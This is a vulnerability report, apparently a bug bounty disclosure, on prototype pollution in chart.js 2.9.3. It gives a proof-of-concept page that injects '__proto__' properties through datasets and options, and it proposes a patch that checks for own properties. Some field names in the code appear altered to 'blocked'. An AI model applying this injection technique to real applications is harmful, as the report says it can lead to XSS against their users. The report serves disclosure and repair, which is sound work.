[chart.js] Prototype pollution

I would like to report a prototype pollution vulnerability in chart.js It allows an attacker to inject properties on Object.prototype which can for some applications lead to XSS. # Module **module name:** chart.js **version:** 2.9.3 **npm page:** `https://www.npmjs.com/package/chart.js` ## Module Description Simple yet flexible JavaScript charting for designers & developers ## Module Stats 854,171 weekly downloads # Vulnerability ## Vulnerability Description If the `dataset` or `options` passed to Chart.js contains an attacker-controlled object, Chart.js can be tricked into adding or modifying properties of the Object prototype. These properties will be present on all objects. The payload is an object with the `__proto__` property. ## Steps To Reproduce: Install chart.js 2.9.3 into node_modules and then view the following HTML page and check the log: ```html <canvas id="canvas"></canvas> <script src="node_modules/chart.js/dist/Chart.bundle.js"></script> <script> var ctx = document.getElementById('canvas').getContext('2d'); var chart = new Chart(ctx, { type: 'line', blocked: { labels: ['January', 'February', 'March', 'April', 'May'], datasets: [{ label: 'My First dataset', backgroundColor: 'rgb(255, 99, 132)', borderColor: 'rgb(255, 99, 132)', blocked: [0, 10, 5, 2, 20] }, JSON.parse(`{"__proto__": {"abc": "Injected value through dataset"}}`) ] }, options: JSON.parse(`{"__proto__": {"def": "Injected value through options"}}`) }); console.log({}.abc); // Print "Injected value through dataset" console.log({}.def); // Print "Injected value through options" </script> ``` ## Patch Avoid recursively merging properties that aren't already own properties of the target object: ``` diff --git a/src/helpers/helpers.core.js b/src/helpers/helpers.core.js index 100d4edf..b5127025 100644 --- a/src/helpers/helpers.core.js +++ b/src/helpers/helpers.core.js @@ -226,7 +226,7 @@ export function _merger(key, target, source, options) { var tval = target[key]; var sval = source[key]; - if (isObject(tval) && isObject(sval)) { + if (Object.prototype.hasOwnProperty.call(target, key) && isObject(tval) && isObject(sval)) { // eslint-disable-next-line no-use-before-define merge(tval, sval, options); } else { ``` ## Supporting Material/References: Tested Chart.js 2.9.3 in Chrome 79 # Wrap up - I contacted the maintainer to let them know: N - I opened an issue in the related repository: N ## Impact Inject properties on Object.prototype which can for some applications lead to XSS.